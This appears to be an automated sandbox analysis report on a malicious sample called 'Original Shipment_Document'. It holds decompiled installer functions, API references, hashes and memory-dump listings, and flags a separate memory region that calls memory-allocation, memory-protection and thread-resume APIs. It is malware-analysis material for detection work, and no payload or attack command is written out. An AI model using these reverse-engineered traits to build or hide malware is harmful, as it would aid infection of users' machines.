0x00406f92
0x00406f95
0x00406f96
0x00406f98
0x00406f98
0x00406f98
0x00406f9b
0x00406f9e
0x00406fa1
0x00406fa4
0x00406fa4
0x00406fa4
0x00406fa7
0x00000000
0x00000000
0x004071eb
0x004071eb
0x004071eb
0x004071ef
0x00000000
0x00000000
0x004071f5
0x004071f8
0x004071fb
0x004071fe
0x00407200
0x00407200
0x00407200
0x00407203
0x00407206
0x00407209
0x0040720c
0x0040720f
0x00407212
0x00407213
0x00407215
0x00407215
0x00407215
0x00407218
0x0040721b
0x0040721e
0x00407221
0x00407224
0x00407228
0x0040722a
0x0040722d
0x00000000
0x0040722f
0x00000000
0x0040722f
0x0040722d
0x00407462
0x00000000
0x00000000
0x00406a91

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af4ab007fdbe3f375d412e85a9ad171fc41423b9a3793faa0b4874eb523c0645
Instruction ID: 53db679fe0595a89c24929100efc96b5d5a2697a31689bd0580b70dbb8294089
Opcode Fuzzy Hash: af4ab007fdbe3f375d412e85a9ad171fc41423b9a3793faa0b4874eb523c0645
Instruction Fuzzy Hash: 55F17770D04269CBDF18CFA8C8946ADBBB0FF44305F25816ED856BB281D7786A86CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0040683D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040683D(WCHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileW(_a4, 0x426758); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x426758;
			}

0x00406848
0x00406851
0x00000000
0x0040685e
0x00406854
0x00000000

APIs

FindFirstFileW.KERNELBASE(?,00426758,00425F10,00405F27,00425F10,00425F10,00000000,00425F10,00425F10, 4|w,?,C:\Users\user\AppData\Local\Temp\,00405C33,?,777C3420,C:\Users\user\AppData\Local\Temp\), ref: 00406848
FindClose.KERNEL32(00000000), ref: 00406854

Strings

XgB, xrefs: 0040683E

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: XgB
API String ID: 2295610775-796949446
Opcode ID: 23f64898245c7a8b5642f2b76d490ae2c21be458ceb9b1f3c1c58d2291370735
Instruction ID: 6b6802a92a84c0d1895eb5c997cd82d97c30a63e480feb254935e86212d72bfe
Opcode Fuzzy Hash: 23f64898245c7a8b5642f2b76d490ae2c21be458ceb9b1f3c1c58d2291370735
Instruction Fuzzy Hash: 4AD0C9325051205BC2402638AF0C84B6B9A9F563313228A36B5A6E11A0C6348C3286AC

Uniqueness

Uniqueness Score: -1.00%

Function 03290DE4 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 299memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 0329108D

Strings

y3j, xrefs: 032834FE

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID: y3j
API String ID: 2167126740-3874517853
Opcode ID: ec0ef4be6761d19015031b3fd6ee6fa36c2d5cb6972da3782f408f5db7212dd6
Instruction ID: 0f8c2921029de693fbe138701bdf04d7fe2708ad0b0d8235c09386666b8e6f1c
Opcode Fuzzy Hash: ec0ef4be6761d19015031b3fd6ee6fa36c2d5cb6972da3782f408f5db7212dd6
Instruction Fuzzy Hash: DDA1EE756253499FEB25EF35CC903EA77B2EF85750F58442EDC898B264D7308586C701

Uniqueness

Uniqueness Score: -1.00%

Function 03284608 Relevance: 3.0, Strings: 2, Instructions: 489COMMON

Download Yara Rule

Strings

;, xrefs: 0328478D
y3j, xrefs: 032834FE

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: ;$y3j
API String ID: 0-3510984499
Opcode ID: 6da8603b5b3b0e7c677edfbd2467f3de666888b0ac16af6a18e0188c308391bc
Instruction ID: 197c2632094853f0356e3e366ded3fce0044f95b17985ea68a7cc43bd233ccd7
Opcode Fuzzy Hash: 6da8603b5b3b0e7c677edfbd2467f3de666888b0ac16af6a18e0188c308391bc
Instruction Fuzzy Hash: D4F1AA36A153858FDB38EF388C987EE77A6EF85350F59452EDC898B254D3308986CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0328A3F0 Relevance: 1.6, Strings: 1, Instructions: 384COMMON

Download Yara Rule

Strings

y3j, xrefs: 032834FE

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID: y3j
API String ID: 0-3874517853
Opcode ID: 031f04ebde13e2f3ca7366cc4e17ca2ce72ef67dfa27bbb59344edf2bbb3614b
Instruction ID: 55bbdbdbb5d41804baf558565970cf0fc1dd1f4961ec1f4724dddb172087d231
Opcode Fuzzy Hash: 031f04ebde13e2f3ca7366cc4e17ca2ce72ef67dfa27bbb59344edf2bbb3614b
Instruction Fuzzy Hash: 6BD177766253459BDF30EF28C9C57EAB7E2EF59300F58452EC9498B244D7309982CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0328F608 Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,53B61549), ref: 0328F74E

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bcddbae8af8076f2f578c73f5e8b0e39cf4ca25bcbca0ea4b88f43bed0c33fde
Instruction ID: efa97fc0a96ea491a559f5865c3c5fac74b9d4a26d3063affd60bbfb37de17d5
Opcode Fuzzy Hash: bcddbae8af8076f2f578c73f5e8b0e39cf4ca25bcbca0ea4b88f43bed0c33fde
Instruction Fuzzy Hash: F3210573908355DFDB38AE648969AEAB7A6EF64740F47452EDCCE57304CA304E80CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0329371A Relevance: 1.6, APIs: 1, Instructions: 53nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(00000001,032940B3), ref: 03293933

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: abb7488a6a17fa79bc21ce557f306b124bf4a735f15da8ce14ba63f4d75106d0
Instruction ID: 9f4a93b617067d9acec5105d6894feccf7fa53dc7bb4ebfa3b22a21c4023ae89
Opcode Fuzzy Hash: abb7488a6a17fa79bc21ce557f306b124bf4a735f15da8ce14ba63f4d75106d0
Instruction Fuzzy Hash: 47015279638646CAFF34DE6489983F827A2BB84344F94456BCF478B608D7B459C5CA02

Uniqueness

Uniqueness Score: -1.00%

Function 03292895 Relevance: 1.5, APIs: 1, Instructions: 36nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(8BEDC860,?,?,?,?,03291CBE,-BF1337AD,032831E4), ref: 0329294B

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 8be7ca05cff1ddc3a9e38759e669f1e3a735119588dec92a914a40291e959f6c
Instruction ID: 96beba91ec8249f5aa6b801ffc549e15868b701125ef73a96d4fb86171648d7d
Opcode Fuzzy Hash: 8be7ca05cff1ddc3a9e38759e669f1e3a735119588dec92a914a40291e959f6c
Instruction Fuzzy Hash: 83018670604348DFEB28CE99C895BEAB7A6EFD9340F44802DDD4A57304C6B05A41CB11

Uniqueness

Uniqueness Score: -1.00%

Function 032898BD Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67966b249b233622d2161a157e80510c6873e8d71d8e5941d3e64b8f14c27151
Instruction ID: 1c5c86ca29cd478813ec64833eb58c46d4f7c8b2bc1d93937c2e3c7d6d0872ae
Opcode Fuzzy Hash: 67966b249b233622d2161a157e80510c6873e8d71d8e5941d3e64b8f14c27151
Instruction Fuzzy Hash: 4302103561434A8FDB34DF38C9947EA37B6EF55350FA4812ADC8ACB615D7318A82CB42

Uniqueness

Uniqueness Score: -1.00%

Function 03293E12 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44ac30812ed6d9f4d32ccefa5c8800816994eb68e1bfc4f015336e9eb6ab99ac
Instruction ID: 36d0a0e65e38fee54c0d4e8ccfedde389867d4a142c124a785826a3066fa0af9
Opcode Fuzzy Hash: 44ac30812ed6d9f4d32ccefa5c8800816994eb68e1bfc4f015336e9eb6ab99ac
Instruction Fuzzy Hash: B781593A6147498BDF34EE788DA43DF37A7AF96350F95812FCC899B248E73049868741

Uniqueness

Uniqueness Score: -1.00%

Function 03285EB7 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4f9abedbf91fce967f00347d8962db24b27ed13b6182d344ec83fd16f3b2e5e
Instruction ID: c5ed1fdadef37619daa964710343c9fa5d6ab8ae35fc92476604cac4c2227a55
Opcode Fuzzy Hash: d4f9abedbf91fce967f00347d8962db24b27ed13b6182d344ec83fd16f3b2e5e
Instruction Fuzzy Hash: 9F71253A6043458FDF31DF698D943DA37A6EFA6350F65412ECC898B254D3714A86CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0328FB4E Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d4f7318028e15c44c49a01309e6a924ff2d1b0f59c5c73530183e6d90515147
Instruction ID: edb0dc36b05bb785c808d37a3f18e5f0661c6ea7b73e435cdaa01d81383ca26a
Opcode Fuzzy Hash: 1d4f7318028e15c44c49a01309e6a924ff2d1b0f59c5c73530183e6d90515147
Instruction Fuzzy Hash: 435123366153489BCF34EF289D907EE77A6EF98340F95801EDC8D8B214E7708982CB02

Uniqueness

Uniqueness Score: -1.00%

Function 0328FD77 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0d357b8971b01316f6ac8c4f74d0af4f9ee8bb05a518aa53eae0ffb62814535
Instruction ID: 3a10940a940c705375c5f6f2eee5497968d79a7762266fb99bfb482a05a371d9
Opcode Fuzzy Hash: e0d357b8971b01316f6ac8c4f74d0af4f9ee8bb05a518aa53eae0ffb62814535
Instruction Fuzzy Hash: 8131F4366143489BDF34EF698D947EE77A6EF98350F65842EDC8CC7214E37089858B02

Uniqueness

Uniqueness Score: -1.00%

Function 00403F64 Relevance: 51.4, APIs: 34, Instructions: 357
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00403F64(struct HWND__* _a4, intOrPtr _a8, int _a12, long _a16) {
				struct HWND__* _v28;
				void* _v80;
				void* _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				signed int _t36;
				signed int _t38;
				struct HWND__* _t48;
				signed int _t67;
				struct HWND__* _t73;
				signed int _t86;
				struct HWND__* _t91;
				signed int _t99;
				int _t103;
				signed int _t117;
				int _t118;
				int _t122;
				signed int _t124;
				struct HWND__* _t127;
				struct HWND__* _t128;
				int _t129;
				intOrPtr _t130;
				long _t133;
				int _t135;
				int _t136;
				void* _t137;

				_t130 = _a8;
				if(_t130 == 0x110 || _t130 == 0x408) {
					_t34 = _a12;
					_t127 = _a4;
					__eflags = _t130 - 0x110;
					 *0x4236f0 = _t34;
					if(_t130 == 0x110) {
						 *0x42a228 = _t127;
						 *0x423704 = GetDlgItem(_t127, 1);
						_t91 = GetDlgItem(_t127, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x4216d0 = _t91;
						E00404463(_t127);
						SetClassLongW(_t127, 0xfffffff2,  *0x429208);
						 *0x4291ec = E0040140B(4);
						_t34 = 1;
						__eflags = 1;
						 *0x4236f0 = 1;
					}
					_t124 =  *0x40a368; // 0x0
					_t136 = 0;
					_t133 = (_t124 << 6) +  *0x42a240;
					__eflags = _t124;
					if(_t124 < 0) {
						L36:
						E004044AF(0x40b);
						while(1) {
							_t36 =  *0x4236f0;
							 *0x40a368 =  *0x40a368 + _t36;
							_t133 = _t133 + (_t36 << 6);
							_t38 =  *0x40a368; // 0x0
							__eflags = _t38 -  *0x42a244;
							if(_t38 ==  *0x42a244) {
								E0040140B(1);
							}
							__eflags =  *0x4291ec - _t136;
							if( *0x4291ec != _t136) {
								break;
							}
							__eflags =  *0x40a368 -  *0x42a244; // 0x0
							if(__eflags >= 0) {
								break;
							}
							_t117 =  *(_t133 + 0x14);
							E00406544(_t117, _t127, _t133, 0x43a000,  *((intOrPtr*)(_t133 + 0x24)));
							_push( *((intOrPtr*)(_t133 + 0x20)));
							_push(0xfffffc19);
							E00404463(_t127);
							_push( *((intOrPtr*)(_t133 + 0x1c)));
							_push(0xfffffc1b);
							E00404463(_t127);
							_push( *((intOrPtr*)(_t133 + 0x28)));
							_push(0xfffffc1a);
							E00404463(_t127);
							_t48 = GetDlgItem(_t127, 3);
							__eflags =  *0x42a2ac - _t136;
							_v28 = _t48;
							if( *0x42a2ac != _t136) {
								_t117 = _t117 & 0x0000fefd | 0x00000004;
								__eflags = _t117;
							}
							ShowWindow(_t48, _t117 & 0x00000008); // executed
							EnableWindow( *(_t137 + 0x34), _t117 & 0x00000100); // executed
							E00404485(_t117 & 0x00000002);
							_t118 = _t117 & 0x00000004;
							EnableWindow( *0x4216d0, _t118);
							__eflags = _t118 - _t136;
							if(_t118 == _t136) {
								_push(1);
							} else {
								_push(_t136);
							}
							EnableMenuItem(GetSystemMenu(_t127, _t136), 0xf060, ??);
							SendMessageW( *(_t137 + 0x3c), 0xf4, _t136, 1);
							__eflags =  *0x42a2ac - _t136;
							if( *0x42a2ac == _t136) {
								_push( *0x423704);
							} else {
								SendMessageW(_t127, 0x401, 2, _t136);
								_push( *0x4216d0);
							}
							E00404498();
							E00406507(0x423708, E00403F45());
							E00406544(0x423708, _t127, _t133,  &(0x423708[lstrlenW(0x423708)]),  *((intOrPtr*)(_t133 + 0x18)));
							SetWindowTextW(_t127, 0x423708); // executed
							_t67 = E00401389( *((intOrPtr*)(_t133 + 8)), _t136);
							__eflags = _t67;
							if(_t67 != 0) {
								continue;
							} else {
								__eflags =  *_t133 - _t136;
								if( *_t133 == _t136) {
									continue;
								}
								__eflags =  *(_t133 + 4) - 5;
								if( *(_t133 + 4) != 5) {
									DestroyWindow( *0x4291f8); // executed
									 *0x4226e0 = _t133;
									__eflags =  *_t133 - _t136;
									if( *_t133 <= _t136) {
										goto L60;
									}
									_t73 = CreateDialogParamW( *0x42a220,  *_t133 +  *0x429200 & 0x0000ffff, _t127,  *( *(_t133 + 4) * 4 + "\"F@"), _t133); // executed
									__eflags = _t73 - _t136;
									 *0x4291f8 = _t73;
									if(_t73 == _t136) {
										goto L60;
									}
									_push( *((intOrPtr*)(_t133 + 0x2c)));
									_push(6);
									E00404463(_t73);
									GetWindowRect(GetDlgItem(_t127, 0x3fa), _t137 + 0x10);
									ScreenToClient(_t127, _t137 + 0x10);
									SetWindowPos( *0x4291f8, _t136,  *(_t137 + 0x20),  *(_t137 + 0x20), _t136, _t136, 0x15);
									E00401389( *((intOrPtr*)(_t133 + 0xc)), _t136);
									__eflags =  *0x4291ec - _t136;
									if( *0x4291ec != _t136) {
										goto L63;
									}
									ShowWindow( *0x4291f8, 8); // executed
									E004044AF(0x405);
									goto L60;
								}
								__eflags =  *0x42a2ac - _t136;
								if( *0x42a2ac != _t136) {
									goto L63;
								}
								__eflags =  *0x42a2a0 - _t136;
								if( *0x42a2a0 != _t136) {
									continue;
								}
								goto L63;
							}
						}
						DestroyWindow( *0x4291f8);
						 *0x42a228 = _t136;
						EndDialog(_t127,  *0x421ed8);
						goto L60;
					} else {
						__eflags = _t34 - 1;
						if(_t34 != 1) {
							L35:
							__eflags =  *_t133 - _t136;
							if( *_t133 == _t136) {
								goto L63;
							}
							goto L36;
						}
						_t86 = E00401389( *((intOrPtr*)(_t133 + 0x10)), 0);
						__eflags = _t86;
						if(_t86 == 0) {
							goto L35;
						}
						SendMessageW( *0x4291f8, 0x40f, 0, 1);
						__eflags =  *0x4291ec;
						return 0 |  *0x4291ec == 0x00000000;
					}
				} else {
					_t127 = _a4;
					_t136 = 0;
					if(_t130 == 0x47) {
						SetWindowPos( *0x4236e8, _t127, 0, 0, 0, 0, 0x13);
					}
					_t122 = _a12;
					if(_t130 != 5) {
						L8:
						if(_t130 != 0x40d) {
							__eflags = _t130 - 0x11;
							if(_t130 != 0x11) {
								__eflags = _t130 - 0x111;
								if(_t130 != 0x111) {
									goto L28;
								}
								_t135 = _t122 & 0x0000ffff;
								_t128 = GetDlgItem(_t127, _t135);
								__eflags = _t128 - _t136;
								if(_t128 == _t136) {
									L15:
									__eflags = _t135 - 1;
									if(_t135 != 1) {
										__eflags = _t135 - 3;
										if(_t135 != 3) {
											_t129 = 2;
											__eflags = _t135 - _t129;
											if(_t135 != _t129) {
												L27:
												SendMessageW( *0x4291f8, 0x111, _t122, _a16);
												goto L28;
											}
											__eflags =  *0x42a2ac - _t136;
											if( *0x42a2ac == _t136) {
												_t99 = E0040140B(3);
												__eflags = _t99;
												if(_t99 != 0) {
													goto L28;
												}
												 *0x421ed8 = 1;
												L23:
												_push(0x78);
												L24:
												E0040443C();
												goto L28;
											}
											E0040140B(_t129);
											 *0x421ed8 = _t129;
											goto L23;
										}
										__eflags =  *0x40a368 - _t136; // 0x0
										if(__eflags <= 0) {
											goto L27;
										}
										_push(0xffffffff);
										goto L24;
									}
									_push(_t135);
									goto L24;
								}
								SendMessageW(_t128, 0xf3, _t136, _t136);
								_t103 = IsWindowEnabled(_t128);
								__eflags = _t103;
								if(_t103 == 0) {
									L63:
									return 0;
								}
								goto L15;
							}
							SetWindowLongW(_t127, _t136, _t136);
							return 1;
						}
						DestroyWindow( *0x4291f8);
						 *0x4291f8 = _t122;
						L60:
						if( *0x425708 == _t136 &&  *0x4291f8 != _t136) {
							ShowWindow(_t127, 0xa); // executed
							 *0x425708 = 1;
						}
						goto L63;
					} else {
						asm("sbb eax, eax");
						ShowWindow( *0x4236e8,  ~(_t122 - 1) & 0x00000005);
						if(_t122 != 2 || (GetWindowLongW(_t127, 0xfffffff0) & 0x21010000) != 0x1000000) {
							L28:
							return E004044CA(_a8, _t122, _a16);
						} else {
							ShowWindow(_t127, 4);
							goto L8;
						}
					}
				}
			}

0x00403f6f
0x00403f76
0x004040dd
0x004040e1
0x004040e5
0x004040e7
0x004040ec
0x004040f7
0x00404102
0x00404107
0x00404109
0x0040410b
0x0040410e
0x00404113
0x00404121
0x0040412e
0x00404135
0x00404135
0x00404136
0x00404136
0x0040413b
0x00404141
0x00404148
0x0040414e
0x00404150
0x00404190
0x00404195
0x0040419a
0x0040419a
0x0040419f
0x004041a8
0x004041aa
0x004041af
0x004041b5
0x004041b9
0x004041b9
0x004041be
0x004041c4
0x00000000
0x00000000
0x004041cf
0x004041d5
0x00000000
0x00000000
0x004041de
0x004041e6
0x004041eb
0x004041ee
0x004041f4
0x004041f9
0x004041fc
0x00404202
0x00404207
0x0040420a
0x00404210
0x00404218
0x0040421e
0x00404224
0x00404228
0x0040422f
0x0040422f
0x0040422f
0x00404239
0x0040424b
0x00404257
0x0040425c
0x00404266
0x0040426c
0x0040426e
0x00404273
0x00404270
0x00404270
0x00404270
0x00404283
0x0040429b
0x0040429d
0x004042a3
0x004042b8
0x004042a5
0x004042ae
0x004042b0
0x004042b0
0x004042be
0x004042cf
0x004042e5
0x004042ec
0x004042f6
0x004042fb
0x004042fd
0x00000000
0x00404303
0x00404303
0x00404305
0x00000000
0x00000000
0x0040430b
0x0040430f
0x00404334
0x0040433a
0x00404340
0x00404342
0x00000000
0x00000000
0x00404368
0x0040436e
0x00404370
0x00404375
0x00000000
0x00000000
0x0040437b
0x0040437e
0x00404381
0x00404398
0x004043a4
0x004043bd
0x004043c7
0x004043cc
0x004043d2
0x00000000
0x00000000
0x004043dc
0x004043e7
0x00000000
0x004043e7
0x00404311
0x00404317
0x00000000
0x00000000
0x0040431d
0x00404323
0x00000000
0x00000000
0x00000000
0x00404329
0x004042fd
0x004043f4
0x00404400
0x00404407
0x00000000
0x00404152
0x00404152
0x00404155
0x00404188
0x00404188
0x0040418a
0x00000000
0x00000000
0x00000000
0x0040418a
0x0040415b
0x00404160
0x00404162
0x00000000
0x00000000
0x00404172
0x0040417a
0x00000000
0x00404180
0x00403f88
0x00403f88
0x00403f8c
0x00403f91
0x00403fa0
0x00403fa0
0x00403fa6
0x00403fad
0x00403ff1
0x00403ff7
0x00404010
0x00404013
0x00404026
0x0040402c
0x00000000
0x00000000
0x00404032
0x0040403d
0x0040403f
0x00404041
0x00404060
0x00404060
0x00404063
0x00404068
0x0040406b
0x0040407b
0x0040407c
0x0040407e
0x004040b4
0x004040c4
0x00000000
0x004040c4
0x00404080
0x00404086
0x0040409f
0x004040a4
0x004040a6
0x00000000
0x00000000
0x004040a8
0x00404094
0x00404094
0x00404096
0x00404096
0x00000000
0x00404096
0x00404089
0x0040408e
0x00000000
0x0040408e
0x0040406d
0x00404073
0x00000000
0x00000000
0x00404075
0x00000000
0x00404075
0x00404065
0x00000000
0x00404065
0x0040404b
0x00404052
0x00404058
0x0040405a
0x00404430
0x00000000
0x00404430
0x00000000
0x0040405a
0x00404018
0x00000000
0x00404020
0x00403fff
0x00404005
0x0040440d
0x00404413
0x00404420
0x00404426
0x00404426
0x00000000
0x00403faf
0x00403fb4
0x00403fc0
0x00403fc9
0x004040ca
0x00000000
0x00403fe8
0x00403feb
0x00000000
0x00403feb
0x00403fc9
0x00403fad

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403FA0
ShowWindow.USER32(?), ref: 00403FC0
GetWindowLongW.USER32(?,000000F0), ref: 00403FD2
ShowWindow.USER32(?,00000004), ref: 00403FEB
DestroyWindow.USER32 ref: 00403FFF
SetWindowLongW.USER32(?,00000000,00000000), ref: 00404018
GetDlgItem.USER32(?,?), ref: 00404037
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 0040404B
IsWindowEnabled.USER32(00000000), ref: 00404052
GetDlgItem.USER32(?,00000001), ref: 004040FD
GetDlgItem.USER32(?,00000002), ref: 00404107
SetClassLongW.USER32(?,000000F2,?), ref: 00404121
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00404172
GetDlgItem.USER32(?,00000003), ref: 00404218
ShowWindow.USER32(00000000,?), ref: 00404239
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040424B
EnableWindow.USER32(?,?), ref: 00404266
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040427C
EnableMenuItem.USER32(00000000), ref: 00404283
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040429B
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004042AE
lstrlenW.KERNEL32(00423708,?,00423708,00000000), ref: 004042D8
SetWindowTextW.USER32(?,00423708), ref: 004042EC
ShowWindow.USER32(?,0000000A), ref: 00404420

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: Window$Item$MessageSendShow$Long$EnableMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 121052019-0
Opcode ID: 3c9ae7d6275b35c3fda3dee6dbafb97324a8be4c9a106d3b0ef57b82a36e873a
Instruction ID: 63d0405a778065079f0a8243b170f3468528db945c37da0c1c9e117f306831cd
Opcode Fuzzy Hash: 3c9ae7d6275b35c3fda3dee6dbafb97324a8be4c9a106d3b0ef57b82a36e873a
Instruction Fuzzy Hash: 30C1D2B1600205EBDB306F61ED89E3A3A68EB94709F51053EF791B11F0CB795852DB2E

Uniqueness

Uniqueness Score: -1.00%

Function 00403BB6 Relevance: 45.7, APIs: 14, Strings: 12, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00403BB6(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				void _v16;
				void* __ebx;
				void* __edi;
